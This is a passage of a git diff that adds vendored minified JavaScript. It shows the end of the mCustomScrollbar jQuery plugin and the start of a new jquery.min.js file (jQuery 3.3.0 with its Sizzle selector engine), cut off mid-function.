t=e(this),o=t.data(a),n=o.opt,i=o.sequential,r=a+"_"+o.idx,l=".mCSB_"+o.idx+"_scrollbar",s=e(l+">a");s.bind("contextmenu."+r,function(e){e.preventDefault()}).bind("mousedown."+r+" touchstart."+r+" pointerdown."+r+" MSPointerDown."+r+" mouseup."+r+" touchend."+r+" pointerup."+r+" MSPointerUp."+r+" mouseout."+r+" pointerout."+r+" MSPointerOut."+r+" click."+r,function(a){function r(e,o){i.scrollAmount=n.scrollButtons.scrollAmount,j(t,e,o)}if(a.preventDefault(),ee(a)){var l=e(this).attr("class");switch(i.type=n.scrollButtons.scrollType,a.type){case"mousedown":case"touchstart":case"pointerdown":case"MSPointerDown":if("stepped"===i.type)return;c=!0,o.tweenRunning=!1,r("on",l);break;case"mouseup":case"touchend":case"pointerup":case"MSPointerUp":case"mouseout":case"pointerout":case"MSPointerOut":if("stepped"===i.type)return;c=!1,i.dir&&r("off",l);break;case"click":if("stepped"!==i.type||o.tweenRunning)return;r("on",l)}}})},q=function(){function t(t){function a(e,t){r.type=i.keyboard.scrollType,r.scrollAmount=i.keyboard.scrollAmount,"stepped"===r.type&&n.tweenRunning||j(o,e,t)}switch(t.type){case"blur":n.tweenRunning&&r.dir&&a("off",null);break;case"keydown":case"keyup":var l=t.keyCode?t.keyCode:t.which,s="on";if("x"!==i.axis&&(38===l||40===l)||"y"!==i.axis&&(37===l||39===l)){if((38===l||40===l)&&!n.overflowed[0]||(37===l||39===l)&&!n.overflowed[1])return;"keyup"===t.type&&(s="off"),e(document.activeElement).is(u)||(t.preventDefault(),t.stopImmediatePropagation(),a(s,l))}else if(33===l||34===l){if((n.overflowed[0]||n.overflowed[1])&&(t.preventDefault(),t.stopImmediatePropagation()),"keyup"===t.type){Q(o);var f=34===l?-1:1;if("x"===i.axis||"yx"===i.axis&&n.overflowed[1]&&!n.overflowed[0])var h="x",m=Math.abs(c[0].offsetLeft)-f*(.9*d.width());else var h="y",m=Math.abs(c[0].offsetTop)-f*(.9*d.height());G(o,m.toString(),{dir:h,scrollEasing:"mcsEaseInOut"})}}else if((35===l||36===l)&&!e(document.activeElement).is(u)&&((n.overflowed[0]||n.overflowed[1])&&(t.preventDefault(),t.stopImmediatePropagation()),"keyup"===t.type)){if("x"===i.axis||"yx"===i.axis&&n.overflowed[1]&&!n.overflowed[0])var h="x",m=35===l?Math.abs(d.width()-c.outerWidth(!1)):0;else var h="y",m=35===l?Math.abs(d.height()-c.outerHeight(!1)):0;G(o,m.toString(),{dir:h,scrollEasing:"mcsEaseInOut"})}}}var o=e(this),n=o.data(a),i=n.opt,r=n.sequential,l=a+"_"+n.idx,s=e("#mCSB_"+n.idx),c=e("#mCSB_"+n.idx+"_container"),d=c.parent(),u="input,textarea,select,datalist,keygen,[contenteditable='true']",f=c.find("iframe"),h=["blur."+l+" keydown."+l+" keyup."+l];f.length&&f.each(function(){e(this).bind("load",function(){A(this)&&e(this.contentDocument||this.contentWindow.document).bind(h[0],function(e){t(e)})})}),s.attr("tabindex","0").bind(h[0],function(e){t(e)})},j=function(t,o,n,i,r){function l(e){u.snapAmount&&(f.scrollAmount=u.snapAmount instanceof Array?"x"===f.dir[0]?u.snapAmount[1]:u.snapAmount[0]:u.snapAmount);var o="stepped"!==f.type,a=r?r:e?o?p/1.5:g:1e3/60,n=e?o?7.5:40:2.5,s=[Math.abs(h[0].offsetTop),Math.abs(h[0].offsetLeft)],d=[c.scrollRatio.y>10?10:c.scrollRatio.y,c.scrollRatio.x>10?10:c.scrollRatio.x],m="x"===f.dir[0]?s[1]+f.dir[1]*(d[1]*n):s[0]+f.dir[1]*(d[0]*n),v="x"===f.dir[0]?s[1]+f.dir[1]*parseInt(f.scrollAmount):s[0]+f.dir[1]*parseInt(f.scrollAmount),x="auto"!==f.scrollAmount?v:m,_=i?i:e?o?"mcsLinearOut":"mcsEaseInOut":"mcsLinear",w=!!e;return e&&17>a&&(x="x"===f.dir[0]?s[1]:s[0]),G(t,x.toString(),{dir:f.dir[0],scrollEasing:_,dur:a,onComplete:w}),e?void(f.dir=!1):(clearTimeout(f.step),void(f.step=setTimeout(function(){l()},a)))}function s(){clearTimeout(f.step),$(f,"step"),Q(t)}var c=t.data(a),u=c.opt,f=c.sequential,h=e("#mCSB_"+c.idx+"_container"),m="stepped"===f.type,p=u.scrollInertia<26?26:u.scrollInertia,g=u.scrollInertia<1?17:u.scrollInertia;switch(o){case"on":if(f.dir=[n===d[16]||n===d[15]||39===n||37===n?"x":"y",n===d[13]||n===d[15]||38===n||37===n?-1:1],Q(t),oe(n)&&"stepped"===f.type)return;l(m);break;case"off":s(),(m||c.tweenRunning&&f.dir)&&l(!0)}},Y=function(t){var o=e(this).data(a).opt,n=[];return"function"==typeof t&&(t=t()),t instanceof Array?n=t.length>1?[t[0],t[1]]:"x"===o.axis?[null,t[0]]:[t[0],null]:(n[0]=t.y?t.y:t.x||"x"===o.axis?null:t,n[1]=t.x?t.x:t.y||"y"===o.axis?null:t),"function"==typeof n[0]&&(n[0]=n[0]()),"function"==typeof n[1]&&(n[1]=n[1]()),n},X=function(t,o){if(null!=t&&"undefined"!=typeof t){var n=e(this),i=n.data(a),r=i.opt,l=e("#mCSB_"+i.idx+"_container"),s=l.parent(),c=typeof t;o||(o="x"===r.axis?"x":"y");var d="x"===o?l.outerWidth(!1)-s.width():l.outerHeight(!1)-s.height(),f="x"===o?l[0].offsetLeft:l[0].offsetTop,h="x"===o?"left":"top";switch(c){case"function":return t();case"object":var m=t.jquery?t:e(t);if(!m.length)return;return"x"===o?ae(m)[1]:ae(m)[0];case"string":case"number":if(oe(t))return Math.abs(t);if(-1!==t.indexOf("%"))return Math.abs(d*parseInt(t)/100);if(-1!==t.indexOf("-="))return Math.abs(f-parseInt(t.split("-=")[1]));if(-1!==t.indexOf("+=")){var p=f+parseInt(t.split("+=")[1]);return p>=0?0:Math.abs(p)}if(-1!==t.indexOf("px")&&oe(t.split("px")[0]))return Math.abs(t.split("px")[0]);if("top"===t||"left"===t)return 0;if("bottom"===t)return Math.abs(s.height()-l.outerHeight(!1));if("right"===t)return Math.abs(s.width()-l.outerWidth(!1));if("first"===t||"last"===t){var m=l.find(":"+t);return"x"===o?ae(m)[1]:ae(m)[0]}return e(t).length?"x"===o?ae(e(t))[1]:ae(e(t))[0]:(l.css(h,t),void u.update.call(null,n[0]))}}},N=function(t){function o(){return clearTimeout(f[0].autoUpdate),0===l.parents("html").length?void(l=null):void(f[0].autoUpdate=setTimeout(function(){return c.advanced.updateOnSelectorChange&&(s.poll.change.n=i(),s.poll.change.n!==s.poll.change.o)?(s.poll.change.o=s.poll.change.n,void r(3)):c.advanced.updateOnContentResize&&(s.poll.size.n=l[0].scrollHeight+l[0].scrollWidth+f[0].offsetHeight+l[0].offsetHeight+l[0].offsetWidth,s.poll.size.n!==s.poll.size.o)?(s.poll.size.o=s.poll.size.n,void r(1)):!c.advanced.updateOnImageLoad||"auto"===c.advanced.updateOnImageLoad&&"y"===c.axis||(s.poll.img.n=f.find("img").length,s.poll.img.n===s.poll.img.o)?void((c.advanced.updateOnSelectorChange||c.advanced.updateOnContentResize||c.advanced.updateOnImageLoad)&&o()):(s.poll.img.o=s.poll.img.n,void f.find("img").each(function(){n(this)}))},c.advanced.autoUpdateTimeout))}function n(t){function o(e,t){return function(){
+return t.apply(e,arguments)}}function a(){this.onload=null,e(t).addClass(d[2]),r(2)}if(e(t).hasClass(d[2]))return void r();var n=new Image;n.onload=o(n,a),n.src=t.src}function i(){c.advanced.updateOnSelectorChange===!0&&(c.advanced.updateOnSelectorChange="*");var e=0,t=f.find(c.advanced.updateOnSelectorChange);return c.advanced.updateOnSelectorChange&&t.length>0&&t.each(function(){e+=this.offsetHeight+this.offsetWidth}),e}function r(e){clearTimeout(f[0].autoUpdate),u.update.call(null,l[0],e)}var l=e(this),s=l.data(a),c=s.opt,f=e("#mCSB_"+s.idx+"_container");return t?(clearTimeout(f[0].autoUpdate),void $(f[0],"autoUpdate")):void o()},V=function(e,t,o){return Math.round(e/t)*t-o},Q=function(t){var o=t.data(a),n=e("#mCSB_"+o.idx+"_container,#mCSB_"+o.idx+"_container_wrapper,#mCSB_"+o.idx+"_dragger_vertical,#mCSB_"+o.idx+"_dragger_horizontal");n.each(function(){Z.call(this)})},G=function(t,o,n){function i(e){return s&&c.callbacks[e]&&"function"==typeof c.callbacks[e]}function r(){return[c.callbacks.alwaysTriggerOffsets||w>=S[0]+y,c.callbacks.alwaysTriggerOffsets||-B>=w]}function l(){var e=[h[0].offsetTop,h[0].offsetLeft],o=[x[0].offsetTop,x[0].offsetLeft],a=[h.outerHeight(!1),h.outerWidth(!1)],i=[f.height(),f.width()];t[0].mcs={content:h,top:e[0],left:e[1],draggerTop:o[0],draggerLeft:o[1],topPct:Math.round(100*Math.abs(e[0])/(Math.abs(a[0])-i[0])),leftPct:Math.round(100*Math.abs(e[1])/(Math.abs(a[1])-i[1])),direction:n.dir}}var s=t.data(a),c=s.opt,d={trigger:"internal",dir:"y",scrollEasing:"mcsEaseOut",drag:!1,dur:c.scrollInertia,overwrite:"all",callbacks:!0,onStart:!0,onUpdate:!0,onComplete:!0},n=e.extend(d,n),u=[n.dur,n.drag?0:n.dur],f=e("#mCSB_"+s.idx),h=e("#mCSB_"+s.idx+"_container"),m=h.parent(),p=c.callbacks.onTotalScrollOffset?Y.call(t,c.callbacks.onTotalScrollOffset):[0,0],g=c.callbacks.onTotalScrollBackOffset?Y.call(t,c.callbacks.onTotalScrollBackOffset):[0,0];if(s.trigger=n.trigger,0===m.scrollTop()&&0===m.scrollLeft()||(e(".mCSB_"+s.idx+"_scrollbar").css("visibility","visible"),m.scrollTop(0).scrollLeft(0)),"_resetY"!==o||s.contentReset.y||(i("onOverflowYNone")&&c.callbacks.onOverflowYNone.call(t[0]),s.contentReset.y=1),"_resetX"!==o||s.contentReset.x||(i("onOverflowXNone")&&c.callbacks.onOverflowXNone.call(t[0]),s.contentReset.x=1),"_resetY"!==o&&"_resetX"!==o){if(!s.contentReset.y&&t[0].mcs||!s.overflowed[0]||(i("onOverflowY")&&c.callbacks.onOverflowY.call(t[0]),s.contentReset.x=null),!s.contentReset.x&&t[0].mcs||!s.overflowed[1]||(i("onOverflowX")&&c.callbacks.onOverflowX.call(t[0]),s.contentReset.x=null),c.snapAmount){var v=c.snapAmount instanceof Array?"x"===n.dir?c.snapAmount[1]:c.snapAmount[0]:c.snapAmount;o=V(o,v,c.snapOffset)}switch(n.dir){case"x":var x=e("#mCSB_"+s.idx+"_dragger_horizontal"),_="left",w=h[0].offsetLeft,S=[f.width()-h.outerWidth(!1),x.parent().width()-x.width()],b=[o,0===o?0:o/s.scrollRatio.x],y=p[1],B=g[1],T=y>0?y/s.scrollRatio.x:0,k=B>0?B/s.scrollRatio.x:0;break;case"y":var x=e("#mCSB_"+s.idx+"_dragger_vertical"),_="top",w=h[0].offsetTop,S=[f.height()-h.outerHeight(!1),x.parent().height()-x.height()],b=[o,0===o?0:o/s.scrollRatio.y],y=p[0],B=g[0],T=y>0?y/s.scrollRatio.y:0,k=B>0?B/s.scrollRatio.y:0}b[1]<0||0===b[0]&&0===b[1]?b=[0,0]:b[1]>=S[1]?b=[S[0],S[1]]:b[0]=-b[0],t[0].mcs||(l(),i("onInit")&&c.callbacks.onInit.call(t[0])),clearTimeout(h[0].onCompleteTimeout),J(x[0],_,Math.round(b[1]),u[1],n.scrollEasing),!s.tweenRunning&&(0===w&&b[0]>=0||w===S[0]&&b[0]<=S[0])||J(h[0],_,Math.round(b[0]),u[0],n.scrollEasing,n.overwrite,{onStart:function(){n.callbacks&&n.onStart&&!s.tweenRunning&&(i("onScrollStart")&&(l(),c.callbacks.onScrollStart.call(t[0])),s.tweenRunning=!0,C(x),s.cbOffsets=r())},onUpdate:function(){n.callbacks&&n.onUpdate&&i("whileScrolling")&&(l(),c.callbacks.whileScrolling.call(t[0]))},onComplete:function(){if(n.callbacks&&n.onComplete){"yx"===c.axis&&clearTimeout(h[0].onCompleteTimeout);var e=h[0].idleTimer||0;h[0].onCompleteTimeout=setTimeout(function(){i("onScroll")&&(l(),c.callbacks.onScroll.call(t[0])),i("onTotalScroll")&&b[1]>=S[1]-T&&s.cbOffsets[0]&&(l(),c.callbacks.onTotalScroll.call(t[0])),i("onTotalScrollBack")&&b[1]<=k&&s.cbOffsets[1]&&(l(),c.callbacks.onTotalScrollBack.call(t[0])),s.tweenRunning=!1,h[0].idleTimer=0,C(x,"hide")},e)}}})}},J=function(e,t,o,a,n,i,r){function l(){S.stop||(x||m.call(),x=K()-v,s(),x>=S.time&&(S.time=x>S.time?x+f-(x-S.time):x+f-1,S.time<x+1&&(S.time=x+1)),S.time<a?S.id=h(l):g.call())}function s(){a>0?(S.currVal=u(S.time,_,b,a,n),w[t]=Math.round(S.currVal)+"px"):w[t]=o+"px",p.call()}function c(){f=1e3/60,S.time=x+f,h=window.requestAnimationFrame?window.requestAnimationFrame:function(e){return s(),setTimeout(e,.01)},S.id=h(l)}function d(){null!=S.id&&(window.requestAnimationFrame?window.cancelAnimationFrame(S.id):clearTimeout(S.id),S.id=null)}function u(e,t,o,a,n){switch(n){case"linear":case"mcsLinear":return o*e/a+t;case"mcsLinearOut":return e/=a,e--,o*Math.sqrt(1-e*e)+t;case"easeInOutSmooth":return e/=a/2,1>e?o/2*e*e+t:(e--,-o/2*(e*(e-2)-1)+t);case"easeInOutStrong":return e/=a/2,1>e?o/2*Math.pow(2,10*(e-1))+t:(e--,o/2*(-Math.pow(2,-10*e)+2)+t);case"easeInOut":case"mcsEaseInOut":return e/=a/2,1>e?o/2*e*e*e+t:(e-=2,o/2*(e*e*e+2)+t);case"easeOutSmooth":return e/=a,e--,-o*(e*e*e*e-1)+t;case"easeOutStrong":return o*(-Math.pow(2,-10*e/a)+1)+t;case"easeOut":case"mcsEaseOut":default:var i=(e/=a)*e,r=i*e;return t+o*(.499999999999997*r*i+-2.5*i*i+5.5*r+-6.5*i+4*e)}}e._mTween||(e._mTween={top:{},left:{}});var f,h,r=r||{},m=r.onStart||function(){},p=r.onUpdate||function(){},g=r.onComplete||function(){},v=K(),x=0,_=e.offsetTop,w=e.style,S=e._mTween[t];"left"===t&&(_=e.offsetLeft);var b=o-_;S.stop=0,"none"!==i&&d(),c()},K=function(){return window.performance&&window.performance.now?window.performance.now():window.performance&&window.performance.webkitNow?window.performance.webkitNow():Date.now?Date.now():(new Date).getTime()},Z=function(){var e=this;e._mTween||(e._mTween={top:{},left:{}});for(var t=["top","left"],o=0;o<t.length;o++){var a=t[o];e._mTween[a].id&&(window.requestAnimationFrame?window.cancelAnimationFrame(e._mTween[a].id):clearTimeout(e._mTween[a].id),e._mTween[a].id=null,e._mTween[a].stop=1)}},$=function(e,t){try{delete e[t]}catch(o){e[t]=null}},ee=function(e){return!(e.which&&1!==e.which)},te=function(e){var t=e.originalEvent.pointerType;return!(t&&"touch"!==t&&2!==t)},oe=function(e){return!isNaN(parseFloat(e))&&isFinite(e)},ae=function(e){var t=e.parents(".mCSB_container");return[e.offset().top-t.offset().top,e.offset().left-t.offset().left]},ne=function(){function e(){var e=["webkit","moz","ms","o"];if("hidden"in document)return"hidden";for(var t=0;t<e.length;t++)if(e[t]+"Hidden"in document)return e[t]+"Hidden";return null}var t=e();return t?document[t]:!1};e.fn[o]=function(t){return u[t]?u[t].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof t&&t?void e.error("Method "+t+" does not exist"):u.init.apply(this,arguments)},e[o]=function(t){return u[t]?u[t].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof t&&t?void e.error("Method "+t+" does not exist"):u.init.apply(this,arguments)},e[o].defaults=i,window[o]=!0,e(window).bind("load",function(){e(n)[o](),e.extend(e.expr[":"],{mcsInView:e.expr[":"].mcsInView||function(t){var o,a,n=e(t),i=n.parents(".mCSB_container");if(i.length)return o=i.parent(),a=[i[0].offsetTop,i[0].offsetLeft],a[0]+ae(n)[0]>=0&&a[0]+ae(n)[0]<o.height()-n.outerHeight(!1)&&a[1]+ae(n)[1]>=0&&a[1]+ae(n)[1]<o.width()-n.outerWidth(!1)},mcsInSight:e.expr[":"].mcsInSight||function(t,o,a){var n,i,r,l,s=e(t),c=s.parents(".mCSB_container"),d="exact"===a[3]?[[1,0],[1,0]]:[[.9,.1],[.6,.4]];if(c.length)return n=[s.outerHeight(!1),s.outerWidth(!1)],r=[c[0].offsetTop+ae(s)[0],c[0].offsetLeft+ae(s)[1]],i=[c.parent()[0].offsetHeight,c.parent()[0].offsetWidth],l=[n[0]<i[0]?d[0]:d[1],n[1]<i[1]?d[0]:d[1]],r[0]-i[0]*l[0][0]<0&&r[0]+n[0]-i[0]*l[0][1]>=0&&r[1]-i[1]*l[1][0]<0&&r[1]+n[1]-i[1]*l[1][1]>=0},mcsOverflow:e.expr[":"].mcsOverflow||function(t){var o=e(t).data(a);if(o)return o.overflowed[0]||o.overflowed[1]}})})})});
\ No newline at end of file
diff --git a/public/js/jquery.min.js b/public/js/jquery.min.js
new file mode 100644
index 0000000..0eaca65
--- /dev/null
+++ b/public/js/jquery.min.js
@@ -0,0 +1,5 @@
+/*---------------------------------------------------------------------
+	jQuery v3.3.1
+-----------------------------------------------------------------------*/
+/*! jQuery v3.3.0 | (c) JS Foundation and other contributors | jquery.org/license */
+!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.0",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.0",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.0"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",I="\\["+M+"*("+R+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+M+"*\\]",W=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+I+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),F=new RegExp("^"+M+"*,"+M+"*"),_=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="<a id='"+b+"'></a><select id='"+b+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var 